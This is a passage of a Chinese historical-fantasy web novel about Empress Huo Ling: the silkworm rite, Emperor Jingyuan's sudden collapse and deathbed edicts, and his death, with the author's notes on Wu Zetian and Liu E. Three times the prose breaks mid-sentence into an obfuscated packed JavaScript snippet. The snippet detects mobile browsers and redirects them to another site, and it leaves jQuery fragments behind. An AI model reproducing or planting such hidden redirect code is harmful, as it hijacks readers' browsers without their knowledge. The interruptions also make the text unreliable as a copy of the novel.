有了历朝历代的资料作为横向对比,霍翎就更满意陆杭所表现出来的态度了。 从祭祀的规格,再到祭祀的日期、地点,全部都向皇帝亲自主持的先农礼看齐,简直不能更高规格了。 等陆杭停下话音,结束介绍,霍翎道:“事情交给礼部 本宫没什么不放心的。” 她侧头看向景元帝征询他的意见:“陛下觉得如何?” 景元帝道:“你满意就行。” 霍翎对陆杭道:“那就这样吧。” 这会儿快到了用午膳的时辰景元帝开口留陆杭一道在宫里吃饭。 霍翎吩咐道:“给陆尚书沏一壶明前龙井。” 陆杭有些意外:“娘娘怎么知道臣最喜欢喝明前龙井。” 霍翎笑了一下解释道:“宫人上茶时若上的是明前龙井陆尚书都会多喝几口。” 陆杭拱手:“娘娘慧眼。” 他这个喜好只有亲近之人才知道。没想到只是略多喝了几口茶就被皇后看出来了。 “对了。”霍翎突然想到许时渡“前些天听宁信说嘉乐怀孕了不知道她这一胎顺利吗。” 许时渡嫁给了陆杭的嫡长孙成亲大半年后怀了第一胎前几天宁信长公主还特意进宫报喜。 这会儿听霍翎提到孙媳妇肚子里的胎儿陆杭脸上的笑容更真切了三分:“顺利。顺利。” 在陆杭离宫前霍翎赐下了不少东西大都是适合孕妇用的滋补品。 而在一堆滋补品里面还突兀地混了一块茶砖。 正是陆杭最喜欢的明前龙井。 拿着这块明前龙井陆杭心下颇为感慨:“不愧是皇后娘娘。” 当然陆杭不知道的是当他发出如此感慨时朝中许多官员也都在私底下嘀咕。 “不愧是陆杭。为了讨好皇后娘娘连亲蚕礼都重新翻出来了。” 陛下在位二十五年积威日重想要讨好陛下可不容易。 相对来说讨好皇后娘娘就要容易一些。 而且讨好了皇后娘娘效果可能比直接讨好陛下还要强。 像那吏部的康子真在立储大典结束后不久就顺利晋升了一级。 他凭的是什么! 不就是因为他抢在所有人前面第一个上书请立太子吗! 这第一个站出来的人 如今太子已立他们所在的衙门也不可能像礼部一样搞什么亲蚕礼真是头疼啊。 有头 疼的,也有早早瞧准了机会的。 礼部前脚刚敲定完亲蚕礼的章程,将重修的仪注写进本朝礼书里,后脚工部的周尚书就上了一道折子—— 京师北郊的祭坛年久失修,如今要再次启用,应该重新修葺一番。 希望朝廷能给工部拨一笔银子,工部会立刻调派人手,赶在过年前修好祭坛,保证不耽误明年的祭祀。 所有人侧目。 就连陆杭都忍不住看了过去。 周尚书站得笔直,一点不心虚。 这本来就是工部的职责。 他只不过是表现得积极了那么一点,折子上得早了那么一点,为陛下和娘娘分忧的心急切了那么一点。 他有什么错呢。 倒是陆杭这家伙,瞅什么瞅,你们礼部都吃肉了,还不允许我们工部跟着喝一口汤吗! 与此同时,凤仪宫里。 霍翎正在翻看方建白送回来的密信。 算算时间,方建白已经在燕北待了七八个月。 他将自己在燕北的见闻,还有亲自与安鸿羽老将军接触后,对安将军的一些看法都洋洋洒洒写在了信上。 他无意向霍翎诉苦,但为了能让霍翎更准确地了解安鸿羽,他还是详细描述了安鸿羽对他的态度。 在信上,方建白说,他刚到燕北那会儿,因为他是霍世鸣的妻侄,又在燕羽军待过一段时间,安将军对他颇为冷淡,安将军身边的人也都看他不太顺眼。 后来他出了几次任务,立了一些功劳,又与燕北的将士们同甘共苦过,这才慢慢改变了那些人的态度。 说完所有正事,他才在信纸最后,简单问候了霍翎和太子的身体。 霍翎将这封密信来回看了两遍,倒是放下了不少心。 而且从安鸿羽表现出来的性格和行为,确实不像是端王和柳国公的人。 霍翎走到炭盆边,将手中的信纸一张张投入里面。 待所有的纸张都焚烧干净,霍翎打开窗户,散去殿内的味道,开始给方建白写回信。 该交代的事情,霍翎早就跟方建白面谈过。所以这会儿她在信上没提什么正事,只是简单问候了方建白,提前祝他春节快乐。 信纸塞进牛皮袋里,霍翎想了想,打算将送给方 建白的年礼加厚一倍。这些年礼代表着她的态度想来能让方建白在燕北的处境更好些。 *** 景元二十五年算是景元帝在位这么多年来最风调雨顺的一年。 这一年里全国各地都没有爆发什么大的灾情偶尔有些地方出现干旱或暴雨也都只是小范围受灾没有形成大范围的灾情。 直到腊月二十五日封笔景元帝依旧没有收到什么坏消息。他心下高兴命人摆架凤仪宫。 霍翎正在凤仪宫里招待许时渡她看着许时渡微微凸显的小腹无奈道:“外面天气这么冷你怎么还进宫来了。” 许时渡磕着瓜子摆摆手道:“我在府里待不住而且我听人说怀孕的时候多看美人也能让孩子长得更好看些所以我是一定要多进宫几次的。” 霍翎顿时笑了:“你与陆淮的相貌生不出不好看的孩子。” 许时渡磕多了瓜子嘴巴有些干端起枣茶喝了两口嘴里振振有词:“这不是想着让孩子更好看些吗。再说了多来凤仪宫我的心情也能变得更好。” 霍翎道:“我这里你想什么时候来都行。” 许时渡露出灿烂的笑容:“对了安儿呢我这回进宫给他带了不少好东西。” 霍翎看了无墨一眼无墨会意去偏殿找安儿。 结果过了一会儿景元帝抱着安儿进来了身后还跟着无墨、奶娘等人。 “嘉乐来了?” 景元帝走到霍翎身边放下安儿与许时渡打了声招呼。 安儿中气十足地大喊了一声:“姐姐!” 许时渡眉开眼笑很想朝安儿伸手又不好在景元帝面前太放肆。 霍翎扶着安儿的胳膊主动开口:“来母后带你走去嘉乐姐姐身边。” 安儿走路已经很稳当了又有霍翎扶着他小短腿迈得更欢快了。 人刚来到许时渡面前就被许时渡一把抱住。 “你轻些。”霍翎提醒了许时渡一句又叮嘱安儿 安儿乖乖坐好一副自己很听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而且皇后娘娘为人大气太子殿下也被教养得极好不会无缘无故使性子大家就更乐意带孩子进宫了。 霍翎也趁着这个机会与她看好的一些朝臣的夫人交谈。 出了上元节没多久就到了先农礼和先蚕礼。 今年的先农礼和先蚕礼都定在二月二龙抬头正月二十九这天霍翎住进祭坛附近的行宫在此地戒斋三日:沐浴更衣不饮酒不吃荤食不过午。 宫廷女官陪同在侧。 二月初一,受邀参加先蚕礼的内外命妇也来到行宫附近,住进帐篷里,戒斋一日。 一直到祭祀当天,太官署屠宰牛、羊、猪,以太牢之礼祭祀先蚕神。 内外命妇在女官的引领下,前往行宫奉迎皇后。 在所有人的行礼声中,霍翎带着自己身边的亲近宫女走出行宫,登上凤辇,乘坐凤辇来到祭坛下方静静等待。 “咚——” 清悦的柷声回荡在空旷的祭坛之上。钟鼓齐鸣,舞乐启奏,祭祀正式开始。 霍翎在雅乐声中登上祭坛,来到写着嫘祖尊号的神位前,率领身后一众命妇跪拜。 她双手从女官那里接过贡品,虔诚供奉。 奉过贡品,乐曲变换,霍翎在女官的引领下,走到祭坛另一角,按照礼仪洗净双手,这才二次登坛,亲自为神明斟酒,再奉上太官署准备的牛、羊、猪,由女官代为摆上供案。 等到所有的菜肴果酒都摆上祭坛,霍翎一口饮尽女官端来的酒,第三次在神位前跪下。 原本列在她左右两侧的女官都退下了,命妇们静静立在祭坛之下。 祭坛之上,只有霍翎一人在跪拜祈求神明。 悠远的风从空荡荡的祭坛上吹过,整齐划一的雅乐声在霍翎耳畔不断回响,带着一种积淀千年的肃穆威严,仿佛旷世之音。 霍翎忍不住想,这千年以来,曾经有过多少位尊贵的女子登临祭坛,跪在嫘祖的神位前,代天下祈求神明赐福? 当她们跪在这里时,她们又在想些什么呢? 念及此,霍翎微微一笑。 她无法知道前人都在想些什么,但她可以肯定的是,自她以后,如果还有其他后来者登临祭坛,举办亲蚕礼,她们一定会在礼书中,看到有关这场亲蚕礼的所有制度记载。 她们也许会遵从,也许会略有修改,但规章制度落入书中,便让后人有前例可循。 鼓声响起,祭祀接近最后的尾声。 霍翎闭上眼睛,在心中虔诚祈祷大燕风调雨顺,国泰民安。 作者有话要说 第 84 章 烈日当空。日薄西... 第84章烈日当空。日薄西 祭祀先蚕神,是亲蚕礼中最重要的一步。 完成所有祭祀步骤后,霍翎无需女官搀扶,从地上站起,退下祭坛,带着一众命妇去采桑坛采桑,再前往蚕室,将自己亲手采来的桑叶喂给蚕吃。 喂完蚕后,霍翎再次登上凤辇,带着一众命妇返回皇宫,设宴酬谢参与祭祀的内外命妇。 一直到宴会结束,整场亲蚕礼才算是彻底结束。 霍翎站在屏风前,任由宫女为她除去身上的皇后朝服,开口询问:“陛下那边结束了吗?” 无墨回道:“我们这边散宴时,陛下那边也传来了散宴的动静。” “那应该快回来了。” 话音未落,霍翎就听到殿门外传来行礼问安的声音。 景元帝带着安儿走了进来。 亲蚕礼没有男宾出席,这几天霍翎戒斋时,安儿都跟在景元帝身边。 霍翎看着安儿头上的礼帽,不由笑道:“这是谁给你准备的?” 安儿晃晃脑袋,对于这顶帽子,他显然是喜欢极了:“母后,好不好看?” 霍翎:“好看。比你父皇戴的那顶还好看。” 安儿笑得更开心了:“母后有吗?” “有。”霍翎指着刚刚摘下的凤冠,“我的很沉。” 无墨托着凤冠,将它轻轻放到安儿手掌上,让他感受了下重量。 安儿皱起脸,说:“沉。” 景元帝一笑,帮安儿回答霍翎的问题:“帽子是内务府的人给他准备的。” 有宫人上前,为景元帝和安儿除去最外面的朝服。在除去衣服时,安儿还很顺从,但在宫人碰他帽子时,他下意识用手捂住。 霍翎瞧见了:“戴了一天,该沐浴睡觉了,等明天睡醒再戴。” 安儿这才乖乖挪开手,又凑过来抱霍翎的大腿,声音带着孩子特有的软和:“母后,我有好多天、好多天没见你了。” 霍翎问:“好多天是几天?” 安儿掰了掰手指:“就是好多天啊。” 霍翎摸了摸他汗湿的发,也放柔声音:“行了,快和你父皇去沐浴吧,小心别着凉。” 等霍翎换好寝衣 出来,就看到先一步沐浴完毕的景元帝和安儿,正坐在床上聊天。 孩子的眼皮已经快要打架了,还是强撑着没有睡。 瞧见霍翎,安儿一下子精神了起来:“母后。 霍翎上床,来到最里侧,抱着安儿:“今晚要和我们一起睡? 安儿点头的功夫,眼皮重新耷拉下来。 霍翎托着他的头,让他躺到枕头上:“困了就快睡吧。 景元帝在旁边看着母子两,眼眸含笑:“他每天醒来都问朕你在哪里,有一回怎么找都找不到你,还哭了很久。 霍翎帮安儿盖好被子,看着他圆润的小脸,轻叹道:“他出生以后一直养在臣妾身边,突然几天没看到他,别说是他,臣妾心里都有点不适应。 霍翎顺便问了下先农坛那边的情况。 景元帝知道她真正关心的是什么:“放心吧,安儿很乖,没有打扰到祭祀的进行。 “那就好。 两人聊了会儿闲话,也就各自睡下了。 霍翎再醒来时,景元帝和安儿都已经不在床上。 她命人进来伺候梳洗,正在盘发时,父子两才从外面回来。 霍翎从铜镜打量父子两的神情:“你们父子两起这么早,干什么去了? 景元帝笑而不语,安儿却不是个能藏得住事的,两只手死死背在身后,仿佛生怕霍翎看不出来他身后藏了东西。 “母后,你好了吗? 梳发宫女闻言连忙加快手上动作,迅速用一根凤簪固定好头发。 霍翎这才应道:“好了。 “那你低头。 霍翎不知道父子两葫芦里卖的什么关子,不过也配合着矮下身子,差不多与安儿平齐:“然后呢? 一朵初开的垂丝海棠别在了霍翎的鬓角。 娇嫩艳丽,还沾着清晨的浅浅露水。 霍翎微讶,抬手抚摸鬓边花:“你父皇教你的? 安儿用力点头,说:“好看。 霍翎眼眸一弯,仰头去看景元帝。 景元帝笑,也道:“好看。 霍翎直起身子,牵着安儿的手:“走,母后带你去荡秋千。 才刚忙完亲耕礼和亲蚕礼两件大事,朝中 一时也没其它重要的事情要处理,景元帝在凤仪宫里好好休息了几天。 除了陪安儿玩闹外,他还和霍翎一起练字赏画。 景元帝欣赏完霍翎的字迹,出声赞道:“字体挥阖,笔法刚劲。行云流水,浑然天成,你这一手字已经写出了自己的风骨。 霍翎放下手里的毛笔:“也不知道是不是练多了,以前练字总要在心里反复叮嘱自己注意这个注意那个,现在笔随心动,想怎么写就怎么写,反而比以前写得要好许多。 霍翎自小就喜欢练字,不过她少年之时,练字多是为了磨砺心性,在遇到景元帝以后,才开始认真打磨自己的字迹。 这些年里,她看过的名家字画,没有上千幅也有几百幅。眼光提高以后,再有景元帝时不时的提点,久而久之,这手字也算是彻底练出来了。 景元帝拊掌:“好一个笔随心动。可见你已经将朕教给你的技巧,全部融进了你的字里。 霍翎原本是想表现得谦虚一点,但听到景元帝这话,还是没忍住笑了:“能听到陛下这几句夸奖,可真不容易。 景元帝扬眉:“朕平日指点你练字时,对你很严厉吗? 景元帝一向是个极有耐心的人,面对妻子兼学生,表现得就更有耐心了。 很多时候他都是把教霍翎练字下棋,当做忙完朝政之后的放松。 霍翎说出其中区别:“平日夸我,仅仅是因为我的字有进步,而不是因为我的字有多好。 “如今夸我,才是因为我的字真正能入了您的眼。 景元帝哑然失笑,不得不承认霍翎说得对。 两人又聊了会儿字画,话题就不知不觉转到了千秋节上。 景元帝的生辰在五月底,霍翎的生辰在六月中,安儿的生辰在七月十一,三人的生辰靠得不算近也不算远。 前面三年,因为霍翎怀孕、安儿年纪还小,他们一直待在皇宫里。 如今安儿也快满两岁了,远的地方去不了,近的地方还是可以去一去的。 景元帝问霍翎:“我们五月搬去避暑山庄,在那里一直住到八月再回宫,你意下如何? 霍翎自然是笑着说一切都好。 霍翎以为,她以为…… 她以为景元帝 会陪伴她很多年。 她甚至有担心过,也许在未来某一日,当她手中的权力越来越大时,他们之间会慢慢生出嫌隙,不复最初的信任与坦诚。 可她唯独没有想过,在安儿刚满两岁,在他的身体还没有露出任何病态时,他就这么突然地倒了下去。 景元二十六年九月,大朝会上,在所有朝臣的注视下,景元帝突然口吐鲜血,从龙椅上一头栽倒,昏迷不醒。 彼时,霍翎正在给许时渡刚出生的女儿准备满月礼物,安儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465091|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在她旁边玩积木,就见一个十分眼熟的内侍冲进殿内,二话不说先行跪下,泣声道:“娘娘,陛下出事了,胡太医请您赶紧带太子殿下去一趟太和殿。” 霍翎猛地站起:“你说什么!” 近身伺候的无墨、崔弘益等人也都满脸震惊。 霍翎紧紧抓着扶手,不等内侍再说什么,她先一步开口吩咐:“无墨,你抱着安儿,我们边走边说。” 太和殿是景元帝的寝宫,就位于举办大朝会的勤政殿后方,所以在景元帝吐血晕倒后的第一时间,立刻被送回了太和殿。 这位过来传话的眼熟内侍,就是在太和殿里面伺候的。 他了解到的情况也不多,只知道今天的大朝会快要结束时,景元帝就这么从龙椅上栽倒下去,胡太医给景元帝把过脉后,立刻催促人去请皇后和太子。 李满要留在太和殿守着,就派了这位腿脚快的内侍过来传话。 霍翎心乱如麻,一种难言的悲伤从心底直冲喉间,让她喉头哽咽。 她下意识攥紧了袖中的手帕。 安儿被无墨抱在怀里,整个人都有些懵懵懂懂的,他左看看右瞧瞧,突然小声问霍翎:“母后,父皇怎么了?” 指尖刺入掌心的钝痛让霍翎恢复了几分冷静,她朝无墨伸出手:“把安儿给我。” 孩子入怀,霍翎用力抱紧了他:“一会儿看到什么、听到什么,都别害怕,知道了吗,有母后在。” 安儿下意识抓住霍翎的衣襟,嘴巴一扁,点了点头,将小脸埋在霍翎的脖颈处。 温热的呼吸扑在霍翎的肌肤上,带着淡淡奶香味。 霍翎蹭了蹭安儿的脸庞,压下眼眶的湿润。 无论是为了陛下,还是为了她与安儿 ,现在的她都不能自乱阵脚。 凤仪宫与太和殿位于同一条中轴线上,距离不算远,不过一刻钟,霍翎就看到了太和殿的轮廓。 她仰起头,看着刺目的太阳高高悬挂在天际。 这会儿正是午时,那轮太阳照在身上时,却没有任何暖意。 明明是烈日当空,却又给人一种日薄西山之感。 文武百官身穿朝服跪在殿外,太医院所有太医也都候在外面,李满正在焦急地走来走去。 突然,李满眼前一亮,一个箭步冲到霍翎面前:“娘娘,您来了。 他想要说些什么,余光扫见周围跪伏的朝臣,还是将所有的话语都咽了回去,默默在前领路。 安儿从霍翎怀里抬起头来。 孩子在有些地方的敏锐不输大人。 除了凤仪宫外,太和殿就是安儿最熟悉的地方,以往他每次来这里,太和殿都会变得十分热闹。可这一回,看着人来人往却安静到死寂的宫殿,他攥着霍翎衣服的力气更大了。 霍翎却已经顾不上他了。 绕过十六面绣着江山图的屏风,一进入殿内,霍翎就看到了静静躺在床上的景元帝。 双眼紧闭,面色铁青,嘴唇透着不详的青紫之色。呼吸微弱到,霍翎几乎看不见他的胸膛在起伏。 胡太医正在给景元帝施针,额上都是汗水。 霍翎没有上去打扰,默默站在旁边,用食指抵在安儿的唇上。 安儿明白她的意思,圆溜溜的眼睛瞬间红透,嘴巴一扁就落下泪来,却强忍着没有抽噎出声。 过了好一会儿,胡太医结束施针,掏出帕子擦了擦汗水,在李满的提醒下,才注意到霍翎来了。 “娘娘。 胡太医快步来到霍翎面前。 霍翎紧紧盯着他:“告诉我,陛下还能醒过来吗? 作者有话要说 第 85 章 新帝大婚之前,军... 第85章新帝大婚之前,军 “陛下的病情来势汹汹,等老臣赶到的时候,只来得及用银针暂时封住陛下的穴位,护住陛下的心脉。如果娘娘做好了准备,老臣可以拔出银针,强行唤醒陛下。” 胡太医的话略有些隐晦,但霍翎还是完全领会了他的意思。 她沉默了下,又问:“陛下能醒来多久?” 胡太医叹气,心下也不是很好受:“以陛下的身体情况,至多一个时辰。拔针时间越晚,陛下的情况会越糟糕,还请娘娘早做准备。” 霍翎凝视着胡太医,还有一事不解:“陛下的平安脉一向是由你来负责,他的身体,没有人比你更清楚。” “这几天陛下的身体都很正常,顶多就是因为受了风有些头疼,怎么会突然到了这种地步?” 胡太医道:“陛下的脉相很古怪,像是突发恶疾,导致心脉枯竭。” 霍翎蹙眉,想到一个可能:“会不会是中毒?” 胡太医犹豫了下,慎重道:“确实有这种可能,但老臣不熟悉毒理,无法确定。” “崔弘益,你带着人,将陛下今天触碰过的东西都封存起来。” 霍翎迅速吩咐下去。 她怀抱着最后一丝希望,让守在外面的太医都进来给景元帝看看。就算……就算不能救回景元帝,让景元帝多清醒一些时辰也是好的。 随后,霍翎没有继续待在这里,而是抱着安儿去了外殿——陛下为何会突然倒下,事后肯定要进行彻查,但这并非眼下最紧要的事情。 “李满,你去将文盛安、陆杭和詹凌请进来。” 在李满匆匆前去请人时,霍翎将安儿放到了景元帝以往常坐的位置上。 脱离温暖的怀抱,安儿扭了扭身子,下意识贴了回去,想要重新钻进霍翎的怀里,却被霍翎一把按住。 霍翎坐到安儿的身侧,就像平时她坐在景元帝身侧一样。 她捧着安儿的脸庞,用帕子一点点拭去他脸上的泪水,又为他整理头发,抚平衣襟。 “安儿,你还记得你父皇平时坐在这里时,是什么样子的吗?” 霍翎尽可能让自己的语调,听起来和平时区别不大。 “ 你要跟他一样,好好坐着,不要乱动,也不要哭。你可以做到的,对不对。 安儿乖乖不动,只用一双眼睛去看霍翎:“可是母后,我不想坐在这里,我想去陪父皇。 霍翎抚了抚他的头:“等一等好吗。你先在这里陪母后,然后我们再一起去陪你父皇。 安儿抽了抽鼻子,带着哭腔应好。 文盛安三人都跪在殿外,一听皇后娘娘传召,立刻起身往殿内走。 待看清太子和皇后的坐位后,如文盛安、陆杭这样的聪明人,已经猜到了端倪。虽然早在景元帝吐血倒下时,他们心里就有了不好的预感,这会儿,还是忍不住心中伤感。 从景元帝还是皇子时,文盛安就已经在他身边辅佐。 陆杭稍晚一些,但在景元帝登基以后,也一直被景元帝重用倚仗。 经历过先帝那样胡来的君王,大家都觉得在景元帝手底下干活很舒心,根本不用担心自家的顶头上官突然一拍脑袋,就搞得满朝动荡。 况且,景元帝确实是一位宽厚仁慈的君王。 他垂御天下二十六载,手中的权势是如此强大而稳固。 如陆杭这样的人,虽说一直在向皇后示好,但也绝对没想过景元帝会突然出事。 相比起他们脸上的哀痛,霍翎却是面沉如水,不动声色。 “你们三人是陛下最信任的臣子,本宫找你们来,是有几件事情要吩咐你们。 她的目光最先落在詹凌身上。 景元帝突然出事,皇宫的安危就是重中之重。 “宫中守卫情况如何? 詹凌的个人能力不算出众,但这么多年下来,他能坐稳禁卫军统领的位置,除了景元帝信任他以外,还因为他行事向来认真。 这会儿霍翎问起宫中的守卫情况,他回答得不假思索:“在陛下出事的第一时间,臣就命底下人戒严了。 “还不够。霍翎道,“从现在起,皇宫内外,除了出示本宫手令的人,所有人不得擅自进出,几处宫门也要加派人手。你亲自去盯着。 詹凌也知道情况特殊,拱手再行一礼,领命退下。 看到詹凌退下,霍翎心下稍安,这才看向文盛安和陆杭:“陛下的病情,你们应该都心里有数了, 本宫也不瞒你们。” “娘娘。”陆杭语气哽咽,反应却极快,“陛下最放心不下的,就是江山社稷,还请娘娘早做安排。” 文盛安也开口附和。 只是看着如此年幼懵懂的太子殿下,两人心下都不禁长叹。 还好……还好皇后娘娘稳得住。 想到这儿,两人都悄悄抬眼打量霍翎,却只能从她脸上,看到一种令人心悸的平静,仿佛是暴风雨来临前的前奏。 “那就将其他几部尚书、左都御史和翰林院掌院都请进来。” 文盛安提醒:“宗室那边,也需要人出面。” “让端王和诚郡王也一起进来吧。你们先在此恭候。” 霍翎抱着安儿重新回到里面。 几位太医正在低声讨论,胡太医看到霍翎进来,轻轻摇了下头。 最后一丝希望破灭,霍翎下令:“让陛下醒过来。” 景元帝睁开眼睛时,看到的先是哭得小脸通红的安儿,然后才是霍翎。 他从霍翎的脸上看不出什么端倪。 或许,也不需要从旁人的神情去推测。 没有人比他自己更清楚,现在的他到底有多孱弱。 “太医怎么说?” 霍翎唇角微颤。 胡太医告诉她的话,她可以复述给文盛安和陆杭听。面对景元帝,她却做不到无动于衷。 但最终,霍翎还是开了口:“太医说,陛下只剩一个时辰来交代后事。” 景元帝疲惫地闭上眼睛:“……太医查出什么问题了吗?” “暂时没有。” “满朝文武都在外面跪着吗?” “在。” “那朕的死讯瞒不住。”景元帝重新睁开眼,“让文盛安他们进来吧。” 几乎在景元帝传召的下一刻,文盛安他们就进来了。 看到他们来得如此之快,景元帝眼中闪过一抹欣慰。 这必定是皇后的安排。 他原以为自己有足够的时间陪伴孩子长大,为孩子铺平登基的道路,可意外来得如此之快,如此猝不及防。 主少国疑。 在太子还如此年幼的情况下,他需要的,大燕需要的,都不是一位只会哭哭啼啼守在他塌边 的皇后而是一位可以迅速抽离情绪冷静下来把控局面辅佐太子稳定朝政的皇后。 景元帝看了看身侧的安儿心下一叹吩咐陆杭拟旨。 他的诏书一共有两道。 第一道是将行唐关主将周嘉慕调去燕北行唐关副将霍世鸣接替主将之职。 第二道是他大行以后皇太子于柩前即皇帝位;吏部尚书文盛安、礼部尚书陆杭和左都御史陈浩言三人辅政;尊皇后为皇太后新帝大婚之前军国大事兼取皇太后处分。 等所有人确认过上面的内容陆杭捧来遗诏请景元帝用玉玺。 景元帝对霍翎说:“皇后替朕用印吧。” 霍翎握住玉玺在诏书右下角落印。 立好遗诏景元帝仿佛卸下了心头最重要的一件大事原本就苍白的脸色越发黯淡。他急促喘息了几下 一时间屋内只剩下景元帝、霍翎和安儿三人。 霍翎压低身形凑得离景元帝极近方便景元帝与她说话。 景元帝先说正事。 他强撑着精神给霍翎报了几个地点又给霍翎报了几个人名。 霍翎没有追问这些地点和人名有什么用只是点头:“陛下放心我都记下了。” “还有朕私库里的东西留出两成分给大公主、二公主和宁信她们……余下的都留给你和安儿……你们会有很多需要用到钱的地方……” “主少国疑朝臣在朕活着的时候不敢轻举妄动等朕不在了谁也说不好会发生什么。” “詹凌是可以信任的但他能力不足。周嘉慕是端王的人由他继续担任行唐关主将朕终究不能放心只能在仓促间将你爹提拔上去……” “在京中有禁卫军可以保护你和安儿。万一出现什么意外在燕西也有一支大军能够接应你和安儿作为你们母子的后手。唯有如此才能保你们母子性命无虞……” 霍翎听着他在一桩桩一件件交代后事终于还是没忍住将头埋在他胸口上。 该交代的事情景元帝都交代得差不多了。他能感受到自己的生命在不断流逝。余下的最后一点时间景元帝终于还是留给 了自己的私心。 “有几句话朕从来没对你说过……” “朕有时候会想如果能在十六七岁时就遇到你那该有多好我们会有漫长的岁月可以相伴。但有时候又会想如果朕在十六七岁时就遇到你朕依旧会对你动心但在漫长的岁月里朕无法保证自己能完全不猜忌你。” 霍翎诧异。 景元帝笑了一下:“偏偏命运让朕在四十岁时遇到了你。” 她是如此年轻、鲜活、野心勃勃。 在她入宫的头两年他知道她有能力也需要用她来制衡朝臣于是就顺手推舟让她从后宫走向前朝。 再后来她怀胎十月为他生下一个壮实的、聪明的、伶俐的继承人。 相伴的六年时光里她陪着他走过人生最后的岁月他帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465092|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她铺好了通往权力的台阶。 他即将离她而去她必须要独自一人护住他们刚满两岁的孩子面对那群狼环伺的朝局。 这时候他只怕她不够强大只怕她护不住自己护不住他们的孩子护不住他们的江山。至于余下的事情他已经没有心力再去考虑了。 安儿是他们的孩子是他选定的太子日后的新君但比起安儿她才更像是他一手培养出来的继承人。在处理朝政时在日常谈话中他将自己的政治理念一点点灌输给她。 她是他的皇后妻子爱人 “现在没有外人要是难受的话就哭出来吧。等朕不在了以后你会非常辛苦。” “陛下。” 霍翎抬起头泪如雨下。 看到母后哭了原本还小声抽噎着的安儿顿时开始放声大哭。 景元帝努力抬起右手但手刚抬到一半就无力垂了下来。霍翎抓住他的手将他的掌心贴在自己的脸庞上。 景元帝动了动手指为她拂去眼泪。 “陛下我不要您走。” 霍翎原以为自己可以伪装好不在他面前流露出一丝怯懦让他能更安心地离开。但是……但是……在她的人生里景元帝是对她最好的人。 即使未来她还有漫长的岁月但是她已经可以确定这个世界上再不会有一个人能如他一般宽容她、纵容她。 他不顾朝臣反对,册封她为皇后,为她举办盛大的册后大典。 在她入主中宫以后,一直专宠于她,采纳她的建议,允许她涉足前朝,为她铺好了通往权力的台阶。 他给了她最想要的权力和地位,他是她的丈夫,亲人,老师,知己,朋友,是她最坚定的同盟。可现在,她就要永远失去他了。 她就要永远失去,她此生最重要的人了。 “傻姑娘。 景元帝叹了口气:“朕本来就是会走在你和安儿前面的。 霍翎不断摇头:“可我没想到会这么快。 “霍翎,你还记得我叫什么名字吗? 霍翎感受到景元帝的气息越来越弱,放在她脸庞上的手掌也在脱力滑落。霍翎死死抓着景元帝的手不放,语气急促:“季鹤淮。你叫季鹤淮。 景元帝的目光移向安儿,又再次看向霍翎。那里面闪烁着霍翎也无法完全分辨明白的复杂。 但最终,他的眼神还是一点点温柔下来。 “阿翎,这江山社稷,从此以后,全都托付给你了。 作者有话要说 *第一卷的结尾不是成为太后,还有几万字内容。 *在这里解释一下设定问题: 1.本书架空,架得很空,但有很多地方参考的都是唐宋背景。 2.既然是参考了这段历史时期,自然就绕不过武则天和刘娥。 她们两人都是因爱封后,皇帝驾崩前都曾经留下遗诏。 “军国大事有不决者,兼取天后进止。 “(皇太子赵祯)可于柩前即皇帝位。然念方在冲年,适临庶务,保兹皇绪,属于母仪。宜尊皇后为皇太后,淑妃为皇太妃,军国事权兼取皇太后处分。 一个是迈过了最后一步,君临天下的帝王。 一个是十年临朝称制,没有天子之名,却有天子之实的摄政太后。 所以关于景元帝的设定,也是有李治和宋真宗的影子在的—— *景元帝和翎姐之间是权力夫妻,九五cp也是有名的权力夫妻。 在选择一个人来共享皇权时,李治选择了武则天。 而景元帝选择了翎姐,不断培养她,让她品尝到了权 力的真正滋味,也为她铺好了通往权力的台阶。 *景元帝子嗣上的设定,参考的则是宋真宗。 宋真宗第二任皇后郭皇后,生下嫡子赵祐,生九年而薨。 嫡子赵祐去世后,宋真宗膝下无子,只好将弟弟的儿子赵允让迎到宫中抚养。 七年以后,宋真宗终于又有儿子了。 在未来的宋仁宗赵祯出生以后,弟弟的儿子就被送还王府了。 赵祯被送到刘娥膝下抚养,刘娥成为宋真宗第三任皇后。 在宋真宗驾崩以后,刘娥成为太后,十一岁的赵祯成为皇帝。 关于刘娥和宋仁宗,还有个比较有名的历史典故,是狸猫换太子。 …… 小说里,景元帝在三十八岁的时候有了一个儿子,儿子送到何皇后那里抚养。 四十岁时,儿子夭折,何皇后受不住打击也病逝了。 景元帝膝下无子,只好将弟弟的儿子季渊晚迎到宫中抚养。 在翎姐进宫两年以后,生下了景元帝的儿子,弟弟的儿子就被送还王府了。 景元帝四十六岁驾崩,二十二岁的翎姐成为太后,两岁的季衔山成为皇帝。 你的朋友正在书荒,快去帮帮他吧 第 86 章 太后要的,不是真... 第86章太后要的,不是真 文武百官从日正中天跪到日暮西沉,太和殿内都没有传出任何动静。 就在众人犹豫着要不要进去看一看时,紧闭多时的朱红色殿门被人从里面缓缓打开。 红到泛紫的诡异晚霞铺满天际,霍翎牵着季衔山走出太和殿,视线从文盛安、陆杭、陈浩言、柳国公、端王等人身上一一划过。 “娘娘……” “陛下,殡天了。” 